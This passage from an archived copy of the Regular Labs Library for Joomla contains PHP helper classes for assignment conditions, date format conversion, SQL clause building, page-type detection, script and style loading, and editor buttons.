$extra_params = ['publish_up', 'publish_down',
'recurring', 'ignore_time_zone'];
break;
case 'Date.Season':
$extra_params = ['hemisphere'];
break;
case 'Date.Time':
$extra_params = ['publish_up', 'publish_down'];
break;
case 'User.Grouplevel':
$extra_params = ['inc_children'];
break;
case 'Url':
if (is_array($object->selection))
{
$object->selection = implode("\n",
$object->selection);
}
if (isset($params->conditions['urls_selection_sef']))
{
$object->selection .= "\n" .
$params->conditions['urls_selection_sef'];
}
$object->selection = trim(str_replace("\r",
'', $object->selection));
$object->selection = explode("\n",
$object->selection);
$object->params->regex =
isset($params->conditions['urls_regex']) ?
$params->conditions['urls_regex'] : false;
break;
case 'Agent.Browser':
if ( ! empty($params->conditions['mobile_selection']))
{
$object->selection =
array_merge(self::makeArray($object->selection),
self::makeArray($params->conditions['mobile_selection']));
}
if ( ! empty($params->conditions['searchbots_selection']))
{
$object->selection = array_merge($object->selection,
self::makeArray($params->conditions['searchbots_selection']));
}
break;
case 'Tag':
$extra_params = ['inc_children'];
break;
case 'Content.Category':
$extra_params = ['inc_children'];
$includes = ['cats' => 'categories',
'arts' => 'articles', 'others'];
break;
case 'Easyblog.Category':
case 'K2.Category':
case 'Hikashop.Category':
case 'Mijoshop.Category':
case 'Redshop.Category':
case 'Virtuemart.Category':
$extra_params = ['inc_children'];
$includes = ['cats' => 'categories',
'items'];
break;
case 'Zoo.Category':
$extra_params = ['inc_children'];
$includes = ['apps', 'cats' =>
'categories', 'items'];
break;
case 'Easyblog.Tag':
case 'Flexicontent.Tag':
case 'K2.Tag':
$includes = ['tags', 'items'];
break;
case 'Content.Article':
$extra_params = [
'featured',
'content_keywords', 'keywords' =>
'meta_keywords',
'authors',
'date', 'date_comparison', 'date_type',
'date_date', 'date_from', 'date_to',
'fields',
];
break;
case 'K2.Item':
$extra_params = ['content_keywords',
'meta_keywords', 'authors'];
break;
case 'Easyblog.Item':
$extra_params = ['content_keywords', 'authors'];
break;
case 'Zoo.Item':
$extra_params = ['authors'];
break;
}
if (in_array($type, self::getMatchAllTypes()))
{
$extra_params[] = 'match_all';
if (count($object->selection) == 1 &&
strpos($object->selection[0], '+') !== false)
{
$object->selection = ArrayHelper::toArray($object->selection[0],
'+');
$params->match_all = true;
}
}
if (empty($extra_params) && empty($array_params) &&
empty($includes))
{
return;
}
self::addParamsByType($object, $id, $params, $extra_params,
$array_params, $includes);
}
private static function addParamsByType(&$object, $id, $params,
$extra_params = [], $array_params = [], $includes = [])
{
foreach ($extra_params as $key => $param)
{
$key = is_numeric($key) ? $param : $key;
$object->params->{$param} = self::getTypeParamValue($id, $params,
$key);
}
foreach ($array_params as $key => $param)
{
$key = is_numeric($key) ? $param : $key;
$object->params->{$param} = self::getTypeParamValue($id, $params,
$key, true);
}
if (empty($includes))
{
return;
}
$incs = self::getTypeParamValue($id, $params, 'inc', true);
if (empty($incs) && ! empty($params->conditions[$id])
&& ! isset($params->conditions[$id . '_inc']))
{
$incs = ['inc_items', 'inc_arts',
'inc_cats', 'inc_others', 'x'];
}
foreach ($includes as $key => $param)
{
$key = is_numeric($key) ? $param : $key;
$object->params->{'inc_' . $param} =
in_array('inc_' . $key, $incs) ? 1 : 0;
}
unset($object->params->inc);
}
private static function getTypeParamValue($id, $params, $key, $is_array =
false)
{
if (isset($params->conditions) &&
isset($params->conditions[$id . '_' . $key]))
{
return $params->conditions[$id . '_' . $key];
}
if (isset($params->{'assignto_' . $id . '_' .
$key}))
{
return $params->{'assignto_' . $id . '_' . $key};
}
if (isset($params->{$key}))
{
return $params->{$key};
}
if ($is_array)
{
return [];
}
return '';
}
private static function getTypes($only_types = [])
{
$types = [
'menuitems' => 'Menu',
'homepage' => 'Homepage',
'date' => 'Date.Date',
'seasons' => 'Date.Season',
'months' => 'Date.Month',
'days' => 'Date.Day',
'time' => 'Date.Time',
'accesslevels' => 'User.Accesslevel',
'usergrouplevels' => 'User.Grouplevel',
'users' => 'User.User',
'languages' => 'Language',
'ips' => 'Ip',
'geocontinents' => 'Geo.Continent',
'geocountries' => 'Geo.Country',
'georegions' => 'Geo.Region',
'geopostalcodes' => 'Geo.Postalcode',
'templates' => 'Template',
'urls' => 'Url',
'devices' => 'Agent.Device',
'os' => 'Agent.Os',
'browsers' => 'Agent.Browser',
'components' => 'Component',
'tags' => 'Tag',
'contentpagetypes' => 'Content.Pagetype',
'cats' => 'Content.Category',
'articles' => 'Content.Article',
'easyblogpagetypes' => 'Easyblog.Pagetype',
'easyblogcats' => 'Easyblog.Category',
'easyblogtags' => 'Easyblog.Tag',
'easyblogitems' => 'Easyblog.Item',
'flexicontentpagetypes' =>
'Flexicontent.Pagetype',
'flexicontenttags' => 'Flexicontent.Tag',
'flexicontenttypes' => 'Flexicontent.Type',
'form2contentprojects' =>
'Form2content.Project',
'k2pagetypes' => 'K2.Pagetype',
'k2cats' => 'K2.Category',
'k2tags' => 'K2.Tag',
'k2items' => 'K2.Item',
'zoopagetypes' => 'Zoo.Pagetype',
'zoocats' => 'Zoo.Category',
'zooitems' => 'Zoo.Item',
'akeebasubspagetypes' => 'Akeebasubs.Pagetype',
'akeebasubslevels' => 'Akeebasubs.Level',
'hikashoppagetypes' => 'Hikashop.Pagetype',
'hikashopcats' => 'Hikashop.Category',
'hikashopproducts' => 'Hikashop.Product',
'mijoshoppagetypes' => 'Mijoshop.Pagetype',
'mijoshopcats' => 'Mijoshop.Category',
'mijoshopproducts' => 'Mijoshop.Product',
'redshoppagetypes' => 'Redshop.Pagetype',
'redshopcats' => 'Redshop.Category',
'redshopproducts' => 'Redshop.Product',
'virtuemartpagetypes' => 'Virtuemart.Pagetype',
'virtuemartcats' => 'Virtuemart.Category',
'virtuemartproducts' => 'Virtuemart.Product',
'cookieconfirm' => 'Cookieconfirm',
'php' => 'Php',
];
if (empty($only_types))
{
return $types;
}
return array_intersect_key($types, array_flip($only_types));
}
private static function getType(&$type, $only_types = [])
{
$types = self::getTypes($only_types);
if (isset($types[$type]))
{
return $types[$type];
}
// Make it plural
$type = rtrim($type, 's') . 's';
if (isset($types[$type]))
{
return $types[$type];
}
// Replace incorrect plural endings
$type = str_replace('ys', 'ies', $type);
if (isset($types[$type]))
{
return $types[$type];
}
return false;
}
private static function getTypeAliases()
{
return [
'matching_method' => ['method'],
'menuitems' => ['menu'],
'homepage' => ['home'],
'date' => ['daterange'],
'seasons' => [''],
'months' => [''],
'days' => [''],
'time' => [''],
'accesslevels' => ['access'],
'usergrouplevels' => ['usergroups',
'groups'],
'users' => [''],
'languages' => ['langs'],
'ips' => ['ipaddress',
'ipaddresses'],
'geocontinents' => ['continents'],
'geocountries' => ['countries'],
'georegions' => ['regions'],
'geopostalcodes' => ['postalcodes',
'postcodes'],
'templates' => [''],
'urls' => [''],
'devices' => [''],
'os' => [''],
'browsers' => [''],
'components' => [''],
'tags' => [''],
'contentpagetypes' => ['pagetypes'],
'cats' => ['categories',
'category'],
'articles' => [''],
'php' => [''],
];
}
private static function getTextAreaTypes()
{
return [
'Ip',
'Url',
'Php',
];
}
private static function getNotArrayTextAreaTypes()
{
return [
'Php',
];
}
public static function getMatchAllTypes()
{
return [
'User.Grouplevel',
'Tag',
];
}
}
src/Database.php000064400000000720151165347470007564 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* @depecated Use DB instead
*/
class Database extends DB
{
}
src/Date.php000064400000007507151165347470006747 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use DateTimeZone;
use Joomla\CMS\Factory as JFactory;
class Date
{
/**
* Convert string to a correct date format ('00-00-00 00:00:00'
or '00-00-00') or null
*
* @param string $date
*
* @return null|string
*/
public static function fix($date)
{
if ( ! $date)
{
return null;
}
$date = trim($date);
// Check if date has correct syntax: 00-00-00 00:00:00
// If so, the date format is correct
if (RegEx::match('^[0-9]+-[0-9]+-[0-9]+(
[0-9][0-9]:[0-9][0-9]:[0-9][0-9])?$', $date))
{
return $date;
}
// Check if date has syntax: 00-00-00 00:00
// If so, it is missing the seconds, so add :00 (seconds)
if (RegEx::match('^[0-9]+-[0-9]+-[0-9]+
[0-9][0-9]:[0-9][0-9]$', $date))
{
return $date . ':00';
}
// Check if date has a prepending date syntax: 00-00-00
// If so, it is missing a correct time time, so add 00:00:00 (hours,
minutes, seconds)
if (RegEx::match('^([0-9]+-[0-9]+-[0-9]+)$', $date, $match))
{
return $match[1] . ' 00:00:00';
}
// Date format is not correct, so return null
return null;
}
/**
* Applies offset to a date
*
* @param string $date
* @param string $timezone
*/
public static function applyTimezone(&$date, $timezone = '')
{
if ($date <= 0)
{
$date = 0;
return;
}
$timezone = $timezone ?:
JFactory::getUser()->getParam('timezone',
JFactory::getConfig()->get('offset'));
$date = JFactory::getDate($date, $timezone);
$date->setTimezone(new DateTimeZone('UTC'));
$date = $date->format('Y-m-d H:i:s', true, false);
}
/**
* Convert string with 'date' format to 'strftime'
format
*
* @param string $format
*
* @return string
*/
public static function strftimeToDateFormat($format)
{
if (strpos($format, '%') === false)
{
return $format;
}
return strtr((string) $format, self::getStrftimeToDateFormats());
}
/**
* Convert string with 'date' format to 'strftime'
format
*
* @param string $format
*
* @return string
*/
public static function dateToStrftimeFormat($format)
{
return strtr((string) $format, self::getDateToStrftimeFormats());
}
private static function getStrftimeToDateFormats()
{
return [
// Day
'%d' => 'd',
'%a' => 'D',
'%#d' => 'j',
'%A' => 'l',
'%u' => 'N',
'%w' => 'w',
'%j' => 'z',
// Week
'%V' => 'W',
// Month
'%B' => 'F',
'%m' => 'm',
'%b' => 'M',
// Year
'%G' => 'o',
'%Y' => 'Y',
'%y' => 'y',
// Time
'%P' => 'a',
'%p' => 'A',
'%l' => 'g',
'%I' => 'h',
'%H' => 'H',
'%M' => 'i',
'%S' => 's',
// Timezone
'%z' => 'O',
'%Z' => 'T',
// Full Date / Time
'%s' => 'U',
];
}
private static function getDateToStrftimeFormats()
{
return [
// Day - no strf eq : S
'd' => '%d',
'D' => '%a',
'jS' => '%#d[TH]',
'j' => '%#d',
'l' => '%A',
'N' => '%u',
'w' => '%w',
'z' => '%j',
// Week - no date eq : %U, %W
'W' => '%V',
// Month - no strf eq : n, t
'F' => '%B',
'm' => '%m',
'M' => '%b',
// Year - no strf eq : L; no date eq : %C, %g
'o' => '%G',
'Y' => '%Y',
'y' => '%y',
// Time - no strf eq : B, G, u; no date eq : %r, %R, %T, %X
'a' => '%P',
'A' => '%p',
'g' => '%l',
'h' => '%I',
'H' => '%H',
'i' => '%M',
's' => '%S',
// Timezone - no strf eq : e, I, P, Z
'O' => '%z',
'T' => '%Z',
// Full Date / Time - no strf eq : c, r; no date eq : %c, %D, %F, %x
'U' => '%s',
];
}
}
src/DB.php000064400000010602151165347470006345 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class DB
* @package RegularLabs\Library
*/
class DB
{
static $tables = [];
/**
* Check if a table exists in the database
*
* @param string $table
*
* @return bool
*/
public static function tableExists($table)
{
if (isset(self::$tables[$table]))
{
return self::$tables[$table];
}
$db = JFactory::getDbo();
if (strpos($table, '#__') === 0)
{
$table = $db->getPrefix() . substr($table, 3);
}
if (strpos($table, $db->getPrefix()) !== 0)
{
$table = $db->getPrefix() . $table;
}
$query = 'SHOW TABLES LIKE ' . $db->quote($table);
$db->setQuery($query);
$result = $db->loadResult();
self::$tables[$table] = ! empty($result);
return self::$tables[$table];
}
/**
* Concatenate conditions using AND or OR
*
* @param string $glue
* @param array $conditions
*
* @return string
*/
public static function combine($conditions = [], $glue = 'OR')
{
if (empty($conditions))
{
return '';
}
if ( ! is_array($conditions))
{
return (string) $conditions;
}
if (count($conditions) < 2)
{
return $conditions[0];
}
$glue = strtoupper($glue) == 'AND' ? 'AND' :
'OR';
return '(' . implode(' ' . $glue . ' ',
$conditions) . ')';
}
/**
* Create an IN statement
* Reverts to a simple equals statement if array just has 1 value
*
* @param string|array $value
*
* @return string
*/
public static function in($value, $handle_now = false)
{
if (empty($value) && ! is_array($value))
{
return ' = 0';
}
$operator = self::getOperator($value);
$value = self::prepareValue($value, $handle_now);
if ( ! is_array($value))
{
return ' ' . $operator . ' ' . $value;
}
if (count($value) == 1)
{
return ' ' . $operator . ' ' . reset($value);
}
$operator = $operator == '!=' ? 'NOT IN' :
'IN';
$values = empty($value) ? "''" :
implode(',', $value);
return ' ' . $operator . ' (' . $values .
')';
}
public static function prepareValue($value, $handle_now = false)
{
if (is_array($value))
{
$array = $value;
foreach ($array as &$array_value)
{
$array_value = self::prepareValue($array_value, $handle_now);
}
return $array;
}
$dates = ['now', 'now()', 'date()',
'jfactory::getdate()'];
if ($handle_now && ! is_array($value) &&
in_array(strtolower($value), $dates))
{
return 'NOW()';
}
if (is_int($value) || ctype_digit($value))
{
return $value;
}
return JFactory::getDbo()->quote($value);
}
public static function getOperator(&$value, $default = '=')
{
if (empty($value))
{
return $default;
}
if (is_array($value))
{
$value = array_values($value);
$operator = self::getOperatorFromValue($value[0], $default);
// remove operators from other array values
foreach ($value as &$val)
{
$val = self::removeOperator($val);
}
return $operator;
}
$operator = self::getOperatorFromValue($value, $default);
$value = self::removeOperator($value);
return $operator;
}
public static function removeOperator($string)
{
$regex = '^' . RegEx::quote(self::getOperators(),
'operator');
return RegEx::replace($regex, '', $string);
}
public static function getOperators()
{
return ['!NOT!', '!=', '!',
'<>', '<=', '<',
'>=', '>', '=', '=='];
}
public static function getOperatorFromValue($value, $default =
'=')
{
$regex = '^' . RegEx::quote(self::getOperators(),
'operator');
if ( ! RegEx::match($regex, $value, $parts))
{
return $default;
}
$operator = $parts['operator'];
switch ($operator)
{
case '!':
case '!NOT!':
$operator = '!=';
break;
case '==':
$operator = '=';
break;
}
return $operator;
}
/**
* Create an LIKE statement
*
* @param string $value
*
* @return string
*/
public static function like($value)
{
$operator = self::getOperator($value);
$value = str_replace('*', '%',
self::prepareValue($value));
$operator = $operator == '!=' ? 'NOT LIKE' :
'LIKE';
return ' ' . $operator . ' ' . $value;
}
}
src/Document.php000064400000031007151165347500007632 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
/**
* Class Document
* @package RegularLabs\Library
*/
class Document
{
/**
* Check if the current setup matches the given main version number
*
* @param int $version
* @param string $title
*
* @return bool
*/
public static function isJoomlaVersion($version, $title = '')
{
if ((int) JVERSION == $version)
{
return true;
}
if ($title)
{
Language::load('plg_system_regularlabs');
JFactory::getApplication()->enqueueMessage(
JText::sprintf('RL_NOT_COMPATIBLE_WITH_JOOMLA_VERSION',
JText::_($title), (int) JVERSION),
'error'
);
}
return false;
}
/**
* Check if page is an admin page
*
* @param bool $exclude_login
*
* @return bool
*/
public static function isAdmin($exclude_login = false)
{
$cache_id = __FUNCTION__ . '_' . $exclude_login;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
return Cache::set($cache_id,
(
self::isClient('administrator')
&& ( ! $exclude_login || !
JFactory::getUser()->get('guest'))
&& $input->get('task') != 'preview'
&& ! (
$input->get('option') == 'com_finder'
&& $input->get('format') == 'json'
)
)
);
}
/**
* Check if page is an edit page
*
* @return bool
*/
public static function isClient($identifier)
{
$identifier = $identifier == 'admin' ?
'administrator' : $identifier;
$cache_id = __FUNCTION__ . '_' . $identifier;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
return Cache::set($cache_id,
JFactory::getApplication()->isClient($identifier));
}
/**
* Check if page is an edit page
*
* @return bool
*/
public static function isEditPage()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
$option = $input->get('option');
// always return false for these components
if (in_array($option, ['com_rsevents',
'com_rseventspro']))
{
return Cache::set($cache_id, false);
}
$task = $input->get('task');
if (strpos($task, '.') !== false)
{
$task = explode('.', $task);
$task = array_pop($task);
}
$view = $input->get('view');
if (strpos($view, '.') !== false)
{
$view = explode('.', $view);
$view = array_pop($view);
}
return Cache::set($cache_id,
(
in_array($option, ['com_config',
'com_contentsubmit', 'com_cckjseblod'])
|| ($option == 'com_comprofiler' && in_array($task,
['', 'userdetails']))
|| in_array($task, ['edit', 'form',
'submission'])
|| in_array($view, ['edit', 'form'])
|| in_array($input->get('do'), ['edit',
'form'])
|| in_array($input->get('layout'), ['edit',
'form', 'write'])
|| self::isAdmin()
)
);
}
/**
* Checks if current page is a html page
*
* @return bool
*/
public static function isHtml()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
return Cache::set($cache_id,
(JFactory::getDocument()->getType() == 'html')
);
}
/**
* Checks if current page is a feed
*
* @return bool
*/
public static function isFeed()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
return Cache::set($cache_id,
(
JFactory::getDocument()->getType() == 'feed'
|| $input->getWord('format') == 'feed'
|| $input->getWord('format') == 'xml'
|| $input->getWord('type') == 'rss'
|| $input->getWord('type') == 'atom'
)
);
}
/**
* Checks if current page is a pdf
*
* @return bool
*/
public static function isPDF()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
return Cache::set($cache_id,
(
JFactory::getDocument()->getType() == 'pdf'
|| $input->getWord('format') == 'pdf'
|| $input->getWord('cAction') == 'pdf'
)
);
}
/**
* Checks if current page is a JSON format fle
*
* @return bool
*/
public static function isJSON()
{
return JFactory::getApplication()->input->get('format')
== 'json';
}
/**
* Checks if current page is a https (ssl) page
*
* @return bool
*/
public static function isHttps()
{
$cache_id = __FUNCTION__;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
return Cache::set($cache_id,
(
( ! empty($_SERVER['HTTPS']) &&
strtolower($_SERVER['HTTPS']) != 'off')
|| (isset($_SERVER['SSL_PROTOCOL']))
|| (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443)
|| (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) ==
'https')
)
);
}
/**
* Checks if context/page is a category list
*
* @param string $context
*
* @return bool
*/
public static function isCategoryList($context)
{
$cache_id = __FUNCTION__ . '_' . $context;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$app = JFactory::getApplication();
$input = $app->input;
// Return false if it is not a category page
if ($context != 'com_content.category' ||
$input->get('view') != 'category')
{
return Cache::set($cache_id, false);
}
// Return false if layout is set and it is not a list layout
if ($input->get('layout') &&
$input->get('layout') != 'list')
{
return Cache::set($cache_id, false);
}
// Return false if default layout is set to blog
if ($app->getParams()->get('category_layout') ==
'_:blog')
{
return Cache::set($cache_id, false);
}
// Return true if it IS a list layout
return Cache::set($cache_id, true);
}
/**
* Adds a script file to the page (with optional versioning)
*
* @param string $file
* @param string $version
*/
public static function script($file, $version = '', $options =
[], $attribs = [])
{
if ( ! $url = File::getMediaFile('js', $file))
{
return;
}
JHtml::_('jquery.framework');
if (strpos($file, 'regularlabs/') !== false
&& strpos($file, 'regular.') === false
)
{
JHtml::_('behavior.core');
JHtml::_('script', 'jui/cms.js',
['version' => 'auto', 'relative' =>
true]);
$version = '21.2.19653';
}
if ( ! empty($version))
{
$url .= '?v=' . $version;
}
JFactory::getDocument()->addScript($url, $options, $attribs);
}
/**
* Adds a stylesheet file to the page(with optional versioning)
*
* @param string $file
* @param string $version
*/
public static function style($file, $version = '')
{
if (strpos($file, 'regularlabs/') === 0)
{
$version = '21.2.19653';
}
if ( ! $file = File::getMediaFile('css', $file))
{
return;
}
if ( ! empty($version))
{
$file .= '?v=' . $version;
}
JFactory::getDocument()->addStylesheet($file);
}
/**
* Alias of \RegularLabs\Library\Document::style()
*
* @param string $file
* @param string $version
*/
public static function stylesheet($file, $version = '')
{
self::style($file, $version);
}
/**
* Adds extension options to the page
*
* @param array $options
* @param string $name
*/
public static function scriptOptions($options = [], $name = '')
{
$key = 'rl_' . Extension::getAliasByName($name);
JHtml::_('behavior.core');
JFactory::getDocument()->addScriptOptions($key, $options);
}
/**
* Loads the required scripts and styles used in forms
*/
public static function loadMainDependencies()
{
JHtml::_('jquery.framework');
self::script('regularlabs/script.min.js');
self::style('regularlabs/style.min.css');
}
/**
* Loads the required scripts and styles used in forms
*/
public static function loadFormDependencies()
{
JHtml::_('jquery.framework');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.combobox');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');
JHtml::_('formbehavior.chosen', '#jform_position',
null, ['disable_search_threshold' => 0]);
JHtml::_('formbehavior.chosen',
'.multipleCategories', null,
['placeholder_text_multiple' =>
JText::_('JOPTION_SELECT_CATEGORY')]);
JHtml::_('formbehavior.chosen', '.multipleTags',
null, ['placeholder_text_multiple' =>
JText::_('JOPTION_SELECT_TAG')]);
JHtml::_('formbehavior.chosen', 'select');
self::script('regularlabs/form.min.js');
self::style('regularlabs/form.min.css');
}
/**
* Loads the required scripts and styles used in forms
*/
public static function loadEditorButtonDependencies()
{
self::loadMainDependencies();
JHtml::_('bootstrap.popover');
}
public static function loadPopupDependencies()
{
self::loadMainDependencies();
self::loadFormDependencies();
self::style('regularlabs/popup.min.css');
}
/**
* Adds a javascript declaration to the page
*
* @param string $content
* @param string $name
* @param bool $minify
* @param string $type
*/
public static function scriptDeclaration($content = '', $name =
'', $minify = true, $type = 'text/javascript')
{
if ($minify)
{
$content = self::minify($content);
}
if ( ! empty($name))
{
$content = Protect::wrapScriptDeclaration($content, $name, $minify);
}
JFactory::getDocument()->addScriptDeclaration($content, $type);
}
/**
* Adds a stylesheet declaration to the page
*
* @param string $content
* @param string $name
* @param bool $minify
* @param string $type
*/
public static function styleDeclaration($content = '', $name =
'', $minify = true, $type = 'text/css')
{
if ($minify)
{
$content = self::minify($content);
}
if ( ! empty($name))
{
$content = Protect::wrapStyleDeclaration($content, $name, $minify);
}
JFactory::getDocument()->addStyleDeclaration($content, $type);
}
/**
* Remove style/css blocks from html string
*
* @param string $string
* @param string $name
* @param string $alias
*/
public static function removeScriptsStyles(&$string, $name, $alias =
'')
{
list($start, $end) = Protect::getInlineCommentTags($name, null, true);
$alias = $alias ?: Extension::getAliasByName($name);
$string = RegEx::replace('((?:;\s*)?)(;?)' . $start .
'.*?' . $end . '\s*', '\1', $string);
$string = RegEx::replace('\s*<link
[^>]*href="[^"]*/(' . $alias . '/css|css/' .
$alias . ')/[^"]*\.css[^"]*"[^>]*( /)?>',
'', $string);
$string = RegEx::replace('\s*<script
[^>]*src="[^"]*/(' . $alias . '/js|js/' .
$alias .
')/[^"]*\.js[^"]*"[^>]*></script>',
'', $string);
}
/**
* Remove joomla script options
*
* @param string $string
* @param string $name
* @param string $alias
*/
public static function removeScriptsOptions(&$string, $name, $alias =
'')
{
RegEx::match(
'(<script type="application/json"
class="joomla-script-options
new">)(.*?)(</script>)',
$string,
$match
);
if (empty($match))
{
return;
}
$alias = $alias ?: Extension::getAliasByName($name);
$scripts = json_decode($match[2]);
if ( ! isset($scripts->{'rl_' . $alias}))
{
return;
}
unset($scripts->{'rl_' . $alias});
$string = str_replace(
$match[0],
$match[1] . json_encode($scripts) . $match[3],
$string
);
}
/**
* Returns the document buffer
*
* @return null|string
*/
public static function getBuffer()
{
$buffer = JFactory::getDocument()->getBuffer('component');
if (empty($buffer) || ! is_string($buffer))
{
return null;
}
$buffer = trim($buffer);
if (empty($buffer))
{
return null;
}
return $buffer;
}
/**
* Set the document buffer
*
* @param string $buffer
*/
public static function setBuffer($buffer = '')
{
JFactory::getDocument()->setBuffer($buffer, 'component');
}
/**
* Minify the given string
*
* @param string $string
*
* @return string
*/
public static function minify($string)
{
// place new lines around string to make regex searching easier
$string = "\n" . $string . "\n";
// Remove comment lines
$string = RegEx::replace('\n\s*//.*?\n', '',
$string);
// Remove comment blocks
$string = RegEx::replace('/\*.*?\*/', '', $string);
// Remove enters
$string = RegEx::replace('\n\s*', ' ', $string);
// Remove surrounding whitespace
$string = trim($string);
return $string;
}
}
src/EditorButton.php000064400000001003151165347500010467 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* @deprecated 2018-11-14 Use EditorButtonPlugin instead
*/
class EditorButton
extends EditorButtonPlugin
{
}
src/EditorButtonHelper.php000064400000004346151165347500011644
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Object\CMSObject as JObject;
/**
* Class EditorButtonHelper
* @package RegularLabs\Library
*/
class EditorButtonHelper
{
var $_name = '';
var $params = null;
public function __construct($name, &$params)
{
$this->_name = $name;
$this->params = $params;
Language::load('plg_editors-xtd_' . $name);
JHtml::_('jquery.framework');
Document::script('regularlabs/script.min.js');
Document::style('regularlabs/style.min.css');
}
public function getButtonText()
{
$text_ini = strtoupper(str_replace(' ', '_',
$this->params->button_text));
$text = JText::_($text_ini);
if ($text == $text_ini)
{
$text = JText::_($this->params->button_text);
}
return trim($text);
}
public function getIcon($icon = '')
{
$icon = $icon ?: $this->_name;
return 'reglab icon-' . $icon;
}
public function renderPopupButton($editor_name, $width = 0, $height = 0)
{
$button = new JObject;
$button->modal = true;
$button->class = 'btn rl_button_' . $this->_name;
$button->link = $this->getPopupLink($editor_name);
$button->text = $this->getButtonText();
$button->name = $this->getIcon();
$button->options = $this->getPopupOptions($width, $height);
return $button;
}
public function getPopupLink($editor_name)
{
return 'index.php?rl_qp=1'
. '&folder=plugins.editors-xtd.' . $this->_name
. '&file=popup.php'
. '&name=' . $editor_name;
}
public function getPopupOptions($width = 0, $height = 0)
{
$width = $width ?: 1600;
$height = $height ?: 1200;
$width = 'Math.min(window.getSize().x-100, ' . $width .
')';
$height = 'Math.min(window.getSize().y-100, ' . $height .
')';
return '{'
. 'handler: \'iframe\','
. 'size: {'
. 'x:' . $width . ','
. 'y:' . $height
. '}'
. '}';
}
}
src/EditorButtonPlugin.php000064400000007207151165347500011662
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Object\CMSObject as JObject;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
use ReflectionClass;
/**
* Class EditorButtonPlugin
* @package RegularLabs\Library
*/
class EditorButtonPlugin
extends JPlugin
{
private $_init = false;
private $_helper = null;
var $main_type = 'plugin'; // The type of extension
that holds the parameters
var $check_installed = null; // The types of extensions that need to
be checked (will default to main_type)
var $require_core_auth = true; // Whether or not the core content
create/edit permissions are required
var $folder = null; // The path to the original caller file
var $enable_on_acymailing = false; // Whether or not to enable the editor
button on AcyMailing
/**
* Display the button
*
* @param string $editor_name
*
* @return JObject|null A button object
*/
function onDisplay($editor_name)
{
if ( ! $this->getHelper())
{
return null;
}
return $this->_helper->render($editor_name, $this->_subject);
}
/*
* Below methods are general functions used in most of the Regular Labs
extensions
* The reason these are not placed in the Regular Labs Library files is
that they also
* need to be used when the Regular Labs Library is not installed
*/
/**
* Create the helper object
*
* @return object|null The plugins helper object
*/
private function getHelper()
{
// Already initialized, so return
if ($this->_init)
{
return $this->_helper;
}
$this->_init = true;
if ( ! Extension::isFrameworkEnabled())
{
return null;
}
if ( ! Extension::isAuthorised($this->require_core_auth))
{
return null;
}
if ( ! $this->isInstalled())
{
return null;
}
if ( ! $this->enable_on_acymailing &&
JFactory::getApplication()->input->get('option') ==
'com_acymailing')
{
return null;
}
$params = $this->getParams();
if ( ! Extension::isEnabledInComponent($params))
{
return null;
}
if ( ! Extension::isEnabledInArea($params))
{
return null;
}
if ( ! $this->extraChecks($params))
{
return null;
}
